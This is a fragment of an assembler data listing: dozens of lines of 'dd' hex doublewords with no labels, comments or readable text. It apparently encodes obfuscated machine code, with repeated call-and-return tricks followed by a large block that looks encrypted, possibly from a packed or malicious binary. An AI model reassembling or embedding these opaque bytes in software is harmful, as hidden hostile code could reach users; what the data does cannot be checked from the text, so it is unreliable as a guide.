		dd 7573614Dh, 995CE04Ah, 0DB5A8372h, 0BA1AF840h, 2E0F2Eh
		dd 0B492941Ah, 0F5F7820Ah, 13E81Ah, 0A1500000h,	0CE50B568h
		dd 1AC6B7Bh, 0FA3A4EAEh, 51319454h, 98C0FD8h, 0F000000h
		dd 385h, 0FA8B6600h, 8166525Eh,	59F4C0EFh, 6DBAC681h, 3DB80000h
		dd 0FF00001Bh, 2DA7BF36h, 0E95A42B4h, 0Ah, 3AB4234Fh, 767DFCF8h
		dd 0EA81A598h, 61BB59Ch, 7EF281F8h, 0F860B4F3h,	0BD4EEA81h
		dd 8E8599Eh, 57000000h,	8AE9764Ch, 566DC3DCh, 5FFB8B66h
		dd 8FF5525Bh, 5E806h, 20A00000h, 80E8159Eh, 835B6DEDh
		dd 8D0F04EEh, 2, 0F48EE8Ah, 1B85h, 0EAF18000h, 2BE9h, 6010F800h
		dd 1FD2CE49h, 795536C8h, 2D4971C4h, 0AD0342C2h,	406CE981h
		dd 78E96ECCh, 4CFFFFFFh, 0E47AD3F1h, 0FE421FCCh, 80A4676Ah
		dd 148E9h, 5000h, 5400h, 5800h,	5C00h, 6000h, 6400h, 6800h
		dd 6C00h, 0B000h, 0B400h, 0B800h, 0BC00h, 0C000h, 0C400h
		dd 0C800h, 0CC00h, 0D000h, 0D400h, 0D800h, 0DC00h, 0E000h
		dd 0E400h, 0E800h, 0EC00h, 38h dup(0)
		dd 578DE900h, 9F50EB00h, 0BC858D00h, 2905ECABh,	0E90FE595h
		dd 0FC858905h, 0E905ECACh, 0Fh,	6548AD95h, 0F9F901B1h
		dd 0ED7F1A41h, 0C603F0F2h, 0E90EE585h, 81665405h, 0E8775ED3h
		dd 4, 0EE626829h, 8B50B1B5h, 24448BD6h,	820F04h, 8B000000h
		dd 49BA6600h, 24448907h, 60525004h, 0BE8h, 0F120F900h
		dd 7B3A095Fh, 7C9B8627h, 61D78B5Ah, 8E9310Fh, 97000000h
		dd 5AA88FA5h, 5A33CF27h, 9D8B5858h, 5E92F25h, 1EFDB5FFh
		dd 958905E9h, 5E91979h,	266D8D8Bh, 858D05E9h, 5EC7A6Fh
		dd 101DBD8Bh, 0D0FF05E9h, 5AF55250h, 85895Ah, 8A05ECADh
		dd 5AE9D9h, 0B5890000h,	5E928C1h, 0FCB58B56h, 8905ECACh
		dd 0FC858306h, 405ECACh, 8D60C35Eh, 0ECABBCB5h,	560FEB05h
		dd 36FF006Ah, 0AD0095FFh, 835E05ECh, 3E8304C6h,	61EC7500h
		dd 11B58BC3h, 0E905E906h, 12h, 92731CB4h, 0AC3C6BEBh, 0DE7328C0h
		dd 0A57FA2FDh, 0B58B31A7h, 5E90251h, 0ADD1858Dh, 0C28105ECh
		dd 61E50CE7h, 0B1D8589h, 4BEB05E9h, 2F0E0910h, 4B1AC53Ch
		dd 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h, 0CE1BF531h,	0D129B327h
		dd 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh, 0C400A6DBh, 1A0046C7h
		dd 0D5A3EAh, 9C000000h,	0FEC819h, 0FBFE4800h, 28000000h
		dd 0D427E641h, 0E9C3727Dh, 0C0Fh, 8365E180h, 0E901BDBDh
		dd 850F0005h, 58h, 303D8D89h, 0B805E9h,	6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 745AC356h, 623013Bh,	81660259h, 0C27502CAh, 6A0004h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0AF56FEC3h, 23AA8A27h, 9531C08Bh, 5E91601h, 164DBD83h
		dd 750005E9h, 21BD8309h, 5E911h, 53501374h, 0D0B8C08Bh
		dd 8D000004h, 0EBB6989Dh, 5BD3FF05h, 21BD8358h,	5E911h
		dd 53501174h, 4D0B8h, 0E59D8D00h, 0FF05EBB5h, 80585BD3h
		dd 0E9F938F7h, 0Bh, 0D442CD23h,	0D37AC04Eh, 8B4949B5h
		dd 6850FC0h, 2B000000h,	0E90E71BDh, 6A858D05h, 8905ECAEh
		dd 0E92AF585h, 0B9665005h, 48991A0h, 0BD296024h, 5E925A9h
		dd 8D61C38Bh, 0ECAE2785h, 0FB8B6605h, 0F525050h, 8Fh, 5A310F00h
		dd 24048958h, 14E8h, 0FAD41E00h, 0A4D0022Eh, 0A7C958CBh
		dd 87A51FA5h, 0A839F8BDh, 0AE9D4h, 0BF240000h, 60862A2Ch
		dd 3F4F01AFh, 5195FF5Ah, 6A05E90Dh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 9F4BC357h
		dd 0C00B5218h, 66090291h, 0D10DD981h, 424448Bh,	528589FCh
		dd 0F905ECAEh, 824448Bh, 0BA99D8Bh, 858905E9h, 5ECAE66h
		dd 2481958Bh, 0BD8305E9h, 5E90725h, 22850F00h, 6A000001h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0E25DC353h, 0E30BA06h, 0D8D8BCDh,	0C605E922h
		dd 0E90EE585h, 10E94705h, 89000000h, 589156D8h,	48550F9Fh
		dd 2418313Dh, 0E8B67220h, 4, 0D49AA7D2h, 0F50F08Ah, 85h
		dd 24448B00h, 0FE804h, 0DA1A0000h, 0C3E70820h, 0A55C5E0Eh
		dd 8CFE8CE6h, 5E9F6h, 0AF750000h, 5B3A870Ch, 0BA66008Bh
		dd 448944B8h, 8B660424h, 6A58D7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 669A18C3h, 958BD88Bh
		dd 5E90625h, 1EFDB5FFh,	6A05E9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 8BE7F5C3h, 0E9191D8Dh
		dd 6F858D05h, 6A05EC7Ah, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 9DE2C353h, 0E99B19F8h
		dd 89D0FFA5h, 0E9279195h, 25858905h, 5705E907h,	0F9B58960h
		dd 0F05E911h, 8Fh, 0B5B6100h, 0E907A195h, 0C5BD8305h, 5E932h
		dd 14E850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 3710A5C3h, 0F0A9071Fh, 0EE585C6h
		dd 6A4705E9h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 1D78C355h, 0DF2BF3B5h,	8D89F511h
		dd 5E925B5h, 6E9h, 1F4E0D00h, 0E88F5294h, 4, 8A0FB5E2h
		dd 0EE8h, 572D7C00h, 80DD4B86h,	67427E48h, 0BFD7664Ch
		dd 2AA0CA9Ch, 0F60505Ah, 288h, 66F88A00h, 61FB8ABEh, 424448Bh
		dd 8E0F008Bh, 17h, 11E8h, 93579000h, 38FA16E8h,	0EB316E73h
		dd 41A00700h, 895F9343h, 60042444h, 0F28B6660h,	66525061h
		dd 310FD08Bh, 6E8h, 40C3C100h, 59EF91D7h, 5861585Ah, 1249B509h
		dd 0B5FF05E9h, 5E91EFDh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 19h, 95C35040h, 756D6B1Ah,	8E0F5Ah, 8D000000h
		dd 0EC7A6F85h, 0F98B6605h, 6AD0FFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0DF3467C3h
		dd 2599BD8Bh, 858905E9h, 5E932C5h, 0AE8h, 0E1534D00h, 2F10D72h
		dd 66A1A5A9h, 5BDF55BFh, 1789BD83h, 0F0005E9h, 8A85h, 85C6FC00h
		dd 5E90EE5h, 55006A56h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0A1CF058Dh, 454CDCADh, 7568A330h
		dd 53E4E258h, 48C0Fh, 0BB660000h, 8159BF6Dh, 354C2434h
		dd 858930FDh, 5E92D29h,	1EFDB5FFh, 8DF905E9h, 0EC7A6F85h
		dd 0E5BD0B05h, 0FF05E904h, 57006AD0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0C635906Ah
		dd 0BE92941h, 17898589h, 0C6F505E9h, 0E90EE585h, 8D8B6C05h
		dd 5E92439h, 4D1AA268h,	890F56D9h, 2, 815BD88Bh, 6A212434h
		dd 6A0248h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0C9DD8AC3h, 0B5FFA572h, 5E92345h,	14E8h
		dd 301B0000h, 8F58E1B9h, 86170525h, 2845F40Bh, 4E6ADF1Eh
		dd 0FE860BEh, 0C8000000h, 0E000AE9Bh, 68C60A68h, 6CAD7160h
		dd 665BB058h, 5F61D98Bh, 39CF858Dh, 0BD2905E9h,	5E901D5h
		dd 0D0FF2AB3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0E2C35646h, 58A74630h, 5ACE4165h, 6185894Dh, 8905E91Dh
		dd 0ECAE5685h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0BA66E0D1h, 46AFFDDh
		dd 14E8h, 0B19FBA00h, 0AB30DDBBh, 0F8DE3428h, 6D46C620h
		dd 0D33C4022h, 6890F97h, 0F000000h, 83h, 0B685A00h, 0E9722589h
		dd 0Fh,	0ACB75034h, 8107072Dh, 0FD647B81h, 81A44FE0h, 990B2434h
		dd 0BA667225h, 3C68E1EDh, 0E9845E8Fh, 9, 0F2E02A5Eh, 6AA08A25h
		dd 24048129h, 7BA270C4h, 0B80AF8BAh, 6A006A27h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0AAD7C350h, 83D2CA6Eh, 0FFF98772h, 0E9183595h, 6D852905h
		dd 8905E911h, 0ECAE6285h, 5E905h, 0C0640000h, 6A64D430h
		dd 0CDBB5000h, 5B2D7383h, 0C8E45E68h, 240481BFh, 40381BA2h
		dd 1950B60h, 0B005E923h, 8B9061ABh, 8B6650D3h, 6A90D8h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 23C01C3h, 0F59D6146h, 66562DDBh, 6A59D78Bh, 9D89570Bh
		dd 5E91059h, 1DBD235Ah,	8D05E929h, 0ECAE2F85h, 0BD950305h
		dd 9005E90Fh, 0BA3455B9h, 28B2504Bh, 1B58990h, 0FF05E92Bh
		dd 0E9072595h, 0FE905h,	0C5E70000h, 0ABF1D4EBh,	91A1CBDBh
		dd 82738C71h, 39B58DF1h, 6A05ECAEh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 4258C353h
		dd 68A0F31h, 89000000h,	0E915D99Dh, 0B59D8B05h,	5005E931h
		dd 0A7E41BB9h, 2434897Eh, 68E0Fh, 9D290000h, 5E9229Dh
		dd 50EC8A90h, 0DE9h, 0E96CAC00h, 0F60E0B10h, 1742CE39h
		dd 6690102Dh, 95FFDF8Bh, 5E932C5h, 11398D89h, 0D0FF05E9h
		dd 31618D89h, 0B58B05E9h, 5ECAE62h, 0AE9h, 0F9E6B800h
		dd 95FF120h, 0C7277B3Ah, 0ECAE5A85h, 5,	51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 0FFBF0F1Fh, 207E80h,	239840Fh, 0E3810000h, 3F16BF6Fh
		dd 8D8B5160h, 5E92FBDh,	20468D59h, 186D8531h, 0FB8B05E9h
		dd 0AE5E8589h, 0B58905ECh, 5E92B31h, 16E9h, 6223B900h
		dd 0CB8B6F7Ah, 9D2B5640h, 5E92CFDh, 0CD8D095Bh,	8005E90Eh
		dd 850F0038h, 0FFFFFFE8h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 87C35242h, 0D4C2D7DBh, 0A34AB7CEh, 0BEBA66B7h
		dd 0E9D18BE6h, 0Dh, 1507CA81h, 8B48279Bh, 0E91F5195h, 5C388005h
		dd 30840Fh, 0FE90000h, 56000000h, 0EFA302F3h, 0C58163E3h
		dd 37B0F705h, 388059BFh, 13840F2Fh, 0F9000000h,	0AE5E853Bh
		dd 830F05ECh, 0FFFFFFC6h, 0B815CF81h, 664008D1h, 0BD83DE8Bh
		dd 5ECAE66h, 65840F00h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 30E7C352h
		dd 0AE31BB95h, 21E98589h, 8B5005E9h, 240489CFh,	0AB9958Bh
		dd 850305E9h, 5ECAE66h,	2296BB66h, 6A0000C6h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 7A25C353h, 583EB546h, 17DA80F5h, 0AE85090h, 0B1000000h
		dd 7AF66191h, 0BEBCFC29h, 59F18AC5h, 6FBB6690h,	52B5FF19h
		dd 8A05ECAEh, 5695FFD5h, 6A05ECAEh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 6365C355h
		dd 9F69EA3h, 0BBAE0413h, 267BEF37h, 850FC00Bh, 6Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 82C35646h, 0C5FCEACh
		dd 858961F9h, 5E92AC9h,	0AE5A85C7h, 105ECh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0D1A0F7C3h, 0DDBD098Bh, 0B105E905h, 4DE9CDh,	95890000h
		dd 5E902A5h, 24D58D29h,	8B6105E9h, 0E90341BDh, 1CC68105h
		dd 8B000001h, 0E919918Dh, 7BF6605h, 0FDE2E9CBh,	6AFFFFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 9452A3C3h, 42DEBE67h, 68779207h, 19521278h, 10E8h, 0F4387500h
		dd 4A2CDF90h, 78EAA00Ah, 432BD75Ah, 890F60FDh, 0
		dd 850Fh, 5A610000h, 78243481h,	0BB195292h, 0F1F15D9h
		dd 0BD8B006Ah, 5E9166Dh, 0AE62B5FFh, 0B58905ECh, 5E92D7Dh
		dd 178995FFh, 820F05E9h, 18h, 0CE8h, 0ACE0A400h, 3D0B7A4h
		dd 0E1A2D7BBh, 0B19D0133h, 5905E905h, 858B99B3h, 5ECAE5Ah
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 35C35747h
		dd 11E94460h, 1D000000h, 0E3CAD01h, 594A5561h, 0AFFAB7FEh
		dd 84685A7Bh, 50D78A90h, 18840Fh, 52500000h, 0DE9h, 0B0280700h
		dd 5C40023Eh, 1BE3A7E7h, 310FA1B5h, 0F90585Ah, 858DD3BFh
		dd 5ECAE6Ah, 0E950DA8Bh, 0Ch, 222F4276h, 0C6CF94BAh, 0FC2FBC9Bh
		dd 89240489h, 0E91D85B5h, 27858D05h, 905ECAEh, 0E903DDB5h
		dd 8C0F5005h, 8, 28B0Fh, 0D38B0000h, 6A240489h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 996BC355h, 0C6C6A056h, 6995FF1Ch, 6A05E911h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 5182C353h, 0F64D264Bh, 0D682B6FEh, 9E9h, 25B92C00h
		dd 36A8FB0Fh, 0C08BF575h, 0D7816651h, 6659AB36h, 0C9D6EB81h
		dd 164DBD83h, 750005E9h, 21BD8309h, 5E911h, 53501374h
		dd 0D0B8C08Bh, 8D000004h, 0EBB6FF9Dh, 5BD3FF05h, 21BD8358h
		dd 5E911h, 53501174h, 4D0B8h, 0FE9D8D00h, 0FF05EBB5h, 6A585BD3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0E53EC356h, 60B142D8h, 0E9525E20h, 10h, 98489A33h
		dd 0ADB964B7h, 2847A9E4h, 0B436D9F0h, 56006A59h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 0BB6600CEh, 0C08B2A36h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 20C35646h, 0FE8B20B1h, 0CF816658h, 860FF4CDh
		dd 6, 10919D01h, 8C205E9h, 99D8B00h, 8B05E92Fh,	55006AC0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 8166CBC0h, 660B98C1h, 8DF1D3BAh, 0ECAE7A85h,	0D5BD3105h
		dd 8905E928h, 0E9048585h, 39EB05h, 0CC00BF00h, 0E400BF02h
		dd 0BF02h, 93000000h, 0B4386358h, 90097A54h, 8B5D6B5Ch
		dd 13306058h, 53316A1Fh, 0DB094031h, 815D427Dh,	822D4145h
		dd 81355A5Fh, 0F9396F54h, 0A95D6451h, 7E5D0DD9h, 0FC002E31h
		dd 0BB31876Ch, 0EB198F35h, 0E75D1835h, 30084B31h, 9F97105Ch
		dd 3CD6F0BAh, 6810B3B2h, 4A5D0BD8h, 0BEE08D38h,	0CF58E720h
		dd 0B40D1745h, 4AE5CEBAh, 705D0E35h, 157EB7B4h,	0BAC08334h
		dd 0C058E589h, 1C0555E2h, 264C2F8Ch, 0F0290E34h, 4AE55D61h
		dd 705D0E35h, 157EB7B4h, 0CDC08334h, 0C058E584h, 0F50555E2h
		dd 0CCB55831h, 0C75D0E31h, 7A03CD6Fh, 78592A45h, 0E4592A75h
		dd 385D0E31h, 3FDECD67h, 909E2F9Eh, 0FD6F78Eh, 0F0B0E5Bh
		dd 0F35D0E32h, 0A79E5011h, 0F8797AB8h, 7A794AB0h, 3F5D0E24h
		dd 9E9E5877h, 0C8E768D6h, 0B6D00F96h, 3558E715h, 1053EBB4h
		dd 0F0B55834h, 0F45D0E31h, 0A6AA0ACBh, 0CF564C4Bh, 7595D0F5h
		dd 0FEFB21C4h, 0A6CA6668h, 0AB0D6924h, 7B92548Fh, 976C0132h
		dd 3F5D0E3Fh, 0DB2124D3h, 0C889CF29h, 0D8254B75h, 0AB07F933h
		dd 42790AB0h, 96689D53h, 7DB55E31h, 1F5D0E31h, 1605CD69h
		dd 4E592A75h, 0FD592A75h, 0B35D0E31h, 6C28CD61h, 0DC98949Fh
		dd 7E49E67Ch, 0A78E0E31h, 0FA6EC269h, 0B1F709FBh, 1553C17Dh
		dd 827AB262h, 44D6E5FBh, 0F9B42C60h, 8FE2016Bh,	21A0BBCEh
		dd 1E3B0BD8h, 42435EDEh, 0B2761B4h, 0A05D6434h,	0F95D0DD9h
		dd 3F062E31h, 5A01876Ah, 1B198F35h, 9F5D1235h, 0C0E4D31h
		dd 70ADA887h, 5FFBD429h, 728DF143h, 15561B84h, 0F7596434h
		dd 0D64DBBA4h, 3CF36634h, 0FBDC7D5Eh, 88EEA015h, 5EC82542h
		dd 1158E717h, 0FC5D0E35h, 7E5D0CDDh, 6F8C8551h,	68D66863h
		dd 443B3F3Eh, 860554CBh, 0D7198561h, 0F0E76835h, 9A5D8584h
		dd 0F7C6D18Eh, 0B4592A75h, 9F3756FFh, 0CF5EE660h, 0BE7D0E31h
		dd 0BFD457F2h, 0BDDC0A15h, 0FC400A15h, 2F1C0E31h, 5F98D4F2h
		dd 247556C5h, 460969EBh, 0E7A7B8Ch, 995D6434h, 0FAB55F31h
		dd 0DC5D0E31h, 0F704CD68h, 0BE592A7Dh, 85592A75h, 8E5D0E31h
		dd 0ACC7CD60h, 1D462840h, 0FCE4682Eh, 69C03F97h, 8158E734h
		dd 5699B0E1h, 1AD4152Eh, 0CAB1B4F3h, 0F0E0E5Bh,	0F35D0E32h
		dd 0A29E5511h, 0F87952B8h, 7A794AB0h, 3F5D0E2Bh, 0C09E5D72h
		dd 0CD27577Fh, 663BCC15h, 780EA7DEh, 0FB910BC9h, 79D40E31h
		dd 7BB1B4F7h, 0B645CEB2h, 73E7C4B4h, 769D3D34h,	0E75D0CDDh
		dd 0F337A4C2h, 0F95EE664h, 0A17D0E31h, 12D453F2h, 7BDC0A15h
		dd 9F400A15h, 9A180E31h, 4ED378F2h, 60243E8h, 0F6C8AB94h
		dd 0FC5D0DB4h, 8ED66831h, 3F5D03D8h, 3F693431h,	45CC16C5h
		dd 0B41DD1A5h, 769B513Bh, 0FCB400D4h, 0AB5D6472h, 7E5D0DD9h
		dd 0FC022E31h, 0BB21876Eh, 0EB198F35h, 0E75D1335h, 300A4931h
		dd 3FE43184h, 98A8926Ch, 6AB465F6h, 2B5D0E31h, 9036C221h
		dd 81090A50h, 5198A671h, 0B4CEEA6Eh, 999A0753h,	0F10493BAh
		dd 163C0BD8h, 953CBC25h, 9F78823Eh, 9D0D0E31h, 0E75D1AD8h
		dd 0A59A6731h, 560BF0A7h, 0DFF78416h, 9B4CE110h, 0A237C2D0h
		dd 0CF6C01C1h, 956C0163h, 66055469h, 2A172A05h,	0F9373837h
		dd 0FC5EE666h, 217D0E31h, 43D451F2h, 0DBDC0A15h, 0CF460A15h
		dd 0B01A0E31h, 0FE8919F2h, 0F240D0A2h, 0F0D40154h, 715D0E31h
		dd 3F5D08B8h, 0CAC08731h, 3058E737h, 0E43F384h,	0A15D6434h
		dd 0F95D0DD9h, 3F072E31h, 5A09876Bh, 1B198F35h,	9F5D1735h
		dd 0C0F4C31h, 0D18EC32Bh, 46D4F8CFh, 0FCB40B44h, 86328BBCh
		dd 0DEF0BDDh, 3F37DECEh, 9F5EE661h, 977D0E31h, 0A3D456F2h
		dd 0B7DC0A15h, 0F94B0A15h, 0AC1D0E31h, 0ED0301F2h, 0B6AEB93Eh
		dd 76581BB4h, 21DC6834h, 62D019B7h, 0F6B40ECCh,	0F94D8D3Eh
		dd 0F7B40E31h, 0A35D0E31h, 983D001Ch, 18F23873h, 4AD43556h
		dd 0E2B40490h, 0FDB88BF7h, 100E0BD8h, 0FC5D0E34h, 0E7BF8010h
		dd 501D660Eh, 253BC904h, 0FBDC0DE6h, 637A9615h,	0A05D640Ah
		dd 0F95D0DD9h, 3F062E31h, 5A01876Ah, 1B198F35h,	9F5D1235h
		dd 0C0E4D31h, 249841D6h, 0F1E1295h, 0F94CE6AFh,	43CE0E31h
		dd 0E6C164B4h, 997968EAh, 479D72F7h, 0C6CA0566h, 0E79A3B4h
		dd 4C525034h, 4E8F1C3h,	9658E72Fh, 7DB55F31h, 1F5D0E31h
		dd 1604CD68h, 4E592A7Dh, 0F2592A75h, 0B25D0E31h, 0E7F5CD60h
		dd 86328BBCh, 78B50BDDh, 0E15D0E31h, 13095C52h,	42C80F75h
		dd 0BD58E703h, 0F337DECEh, 0F95EE661h, 0A47D0E31h, 3AD456F2h
		dd 7BDC0A15h, 9F460A15h, 9F1D0E31h, 85FD1CF2h, 0BB43B5EDh
		dd 0C1E3680Dh, 69D887AAh, 0F558E72Fh, 0D66C2F8Ch, 7AD8C834h
		dd 9C58E73Fh, 0F0D0E5Bh, 0F35D0E32h, 0A19E5611h, 0F8794AB8h
		dd 7A794AB0h, 3F5D0E27h, 0A09E5E71h, 0A7A8A6FFh, 2B791024h
		dd 0F35D03D9h, 28739531h, 0C280BF58h, 6C838014h, 32B46C08h
		dd 635D0E31h, 4E90BE5Ch, 79F7293Eh, 48FD4F4Eh, 0DD698F6Eh
		dd 0E861D497h, 960C0E5Bh, 3F5D0E32h, 0C69E5711h, 0CB7942B8h
		dd 0E3794AB0h, 0F35D0E26h, 8A9E5F70h, 9CCED040h, 7DFCB318h
		dd 82740BD8h, 9AB419C0h, 0CF50E750h, 0BF720E31h, 0BCF2406Ch
		dd 64B594Ch, 36E0A77h, 9743F384h, 8A5E5F34h, 9AB41EF8h
		dd 0A0D88368h, 8158E24Bh, 23A2C4BAh, 74D69C87h,	0F9B42C70h
		dd 55288BB8h, 3F370BD8h, 9F5EE663h, 957D0E31h, 0B3D454F2h
		dd 0B7DC0A15h, 0F9460A15h, 0AE1F0E31h, 86CBD6F2h, 0E00A399h
		dd 9F5BE789h, 19160E31h, 2E0CBE30h, 0D70C9BB8h,	7C9B0BD8h
		dd 0F9B400D4h, 295D6476h, 3F5D0DD9h, 5C022E31h,	0EB21876Eh
		dd 0C3198F35h, 0F35D1735h, 3A0A4931h, 0A98F9235h, 78B4808Ch
		dd 645D0E31h, 43D59899h, 0CF57E7E8h, 0B4A80E31h, 66DA83D8h
		dd 0C6A61A09h, 0FC5D0AD9h, 0A080A731h, 2CB45E86h, 325D0E31h
		dd 38A602F2h, 2F204867h, 114654D5h, 1A479395h, 0AC075E2Dh
		dd 7E728D3Eh, 2DB50E31h, 195D0E31h, 0D5917FE0h,	92D226ADh
		dd 5B2F44B5h, 632B61F6h, 0FC4FE78Ch, 83420E31h,	0C8093508h
		dd 1CFD77D8h, 7A8C4C09h, 7B38FB2Eh, 0D719856Bh,	0FCDB0135h
		dd 425D0E31h, 665AE4EEh, 2DB50EBAh, 295D0E31h, 70814836h
		dd 497FD565h, 0E3D06618h, 38C898DEh, 0FC53E61Eh, 97B80E31h
		dd 8F8F972Eh, 99D35329h, 4BB14EFh, 0A3D4576Fh, 99050A15h
		dd 0FAB55D31h, 0DC5D0E31h, 0F706CD6Ah, 0BE592A6Dh, 89592A75h
		dd 8C5D0E31h, 0A172CD62h, 0AAE08785h, 7258E703h, 156C978Ch
		dd 83E8F134h, 0B658E72Fh, 764B6FBCh, 0A0D88334h, 8158E24Bh
		dd 0C19AE8Bh, 20DC68E1h, 79D486A6h, 7BB427C8h, 55B4DA8Fh
		dd 7AD8C80Fh, 8858E73Fh, 0F0A0E5Bh, 0F35D0E32h,	0A69E5111h
		dd 0F87972B8h, 7A794AB0h, 3F5D0E2Ah, 0F79E5976h, 381D2DCAh
		dd 12D31CB4h, 29FE3A59h, 7828BCF9h, 4F132A05h, 0F3D64737h
		dd 3AB419C0h, 81A0BBCEh, 4A740BD8h, 0E2B42694h,	89328BBCh
		dd 7D520BDDh, 0FC5D0E32h, 81A38557h, 6D5D64E1h,	9F5D0DD9h
		dd 0C072E31h, 0C309876Bh, 0D7198F35h, 0F95D1835h, 3F0F4C31h
		dd 0F52D8BFCh, 0D64F4B8Ch, 9ED88734h, 0A558E716h, 0E4B55C31h
		dd 0D35D0E31h, 7007CD6Bh, 7D592A65h, 65592A75h,	7D5D0E31h
		dd 1458CD63h, 3F5B5603h, 629B7106h, 0F6B400D4h,	98D08576h
		dd 9458E714h, 976690FFh, 3F5D0BD8h, 68169E31h, 0FBDC2997h
		dd 11FF9D15h, 0A15D6472h, 0F95D0DD9h, 3F072E31h, 5A09876Bh
		dd 1B198F35h, 9F5D1335h, 0C0F4C31h, 0EAF47447h,	0ED1C9B27h
		dd 6A45D07h, 1543F384h,	295D6434h, 3F5D0DD9h, 5C022E31h
		dd 0EB21876Eh, 0C3198F35h, 0F35D1835h, 3A0A4931h, 14EF6649h
		dd 7E5D0E3Ah, 36761B82h, 0ABAAB70Fh, 9695AA1Eh,	9D328BBCh
		dd 0A3E20BDDh, 67F14C5h, 0FC5BE6E1h, 0D66E0E31h, 0D466786Fh
		dd 9F4C833Eh, 0C4B50E31h, 845D0E31h, 36D410BBh,	0D19964ECh
		dd 0A5027C56h, 58AC8BB8h, 0EFD60BD8h, 0A74DECEh, 0CAB40724h
		dd 62D45767h, 0F6B42108h, 110E0E5Bh, 0FC5D0E32h, 259E5511h
		dd 3B7952B8h, 9B794AB0h, 0CF5D0E2Ah, 0A39E5D72h, 0E82736FAh
		dd 70EEFEF3h, 15597784h, 0A6D16834h, 0D70E0E5Bh, 9F5D0E32h
		dd 949E5511h, 0E37952B8h, 0F7794AB0h, 0F95D0E27h, 3F9E5D72h
		dd 0CBD62D4Ch, 3AB43F20h, 9F370A15h, 0CF5EE660h, 0BE7D0E31h
		dd 0BFD457F2h, 0BDDC0A15h, 0FC460A15h, 2F1C0E31h, 15C867F2h
		dd 7AEE98E4h, 0AD0874Ah, 0F58E73Fh, 0F35D0E3Ch,	62D66217h
		dd 0B88B9A32h, 4168F56Bh, 72E08508h, 0C058E73Ah, 2E8C8F57h
		dd 0E89D047Eh, 0F35ED3B5h, 60E88531h, 3A58E713h, 9753EBB4h
		dd 0B2D64134h, 9AB422D8h, 0CF5D0AD9h, 6731CA31h, 0F357E68Eh
		dd 7F90E31h, 265F4665h,	0E08B89h, 3F5D1FD8h, 753B6731h
		dd 394D307Fh, 9492696Ah, 9016B266h, 0A904ED58h,	74526E51h
		dd 7E5D0E31h, 0E525C61h, 773C566Bh, 0CF5D0E22h,	0C84E549Dh
		dd 5FC698FCh, 21962A20h, 21AB04C9h, 9630862Ch, 3F5D0E20h
		dd 0A715B4DFh, 0C7F3BDE0h, 5627A004h, 0F6351FB9h, 9807508Dh
		dd 0F8794ABAh, 1E0F5E51h, 306C0150h, 9F5D0EB9h,	0AE055431h
		dd 9DE70EBAh, 7A3109C7h, 10592A75h, 0FC5D0E23h,	8367ADEEh
		dd 0B03DA857h, 0D2EEF00Ch, 0A833FF10h, 0B1059E19h, 668FC1B0h
		dd 6030BD8h, 1543F384h,	76D30134h, 305D0E31h, 9F5D0CB2h
		dd 42938531h, 0B2761B4h, 0A65D6434h, 0F95D0DD9h, 3F002E31h
		dd 5A31876Ch, 1B198F35h, 9F5D1435h, 0C084B31h, 0CFE5899Bh
		dd 1A4D962Ah, 0F95D0E3Fh, 0BCFC3609h, 87F50A34h, 158D4673h
		dd 2D4A7F3h, 0CAB42B28h, 5AD6DECEh, 0F6B4089Ch,	9379CEB2h
		dd 0FFB55831h, 5E5D0E31h, 0B603CD6Fh, 1E592A45h, 0D7592A75h
		dd 0A15D0E31h, 2F5CCD67h, 4F76C031h, 10B38F85h,	0F73549C1h
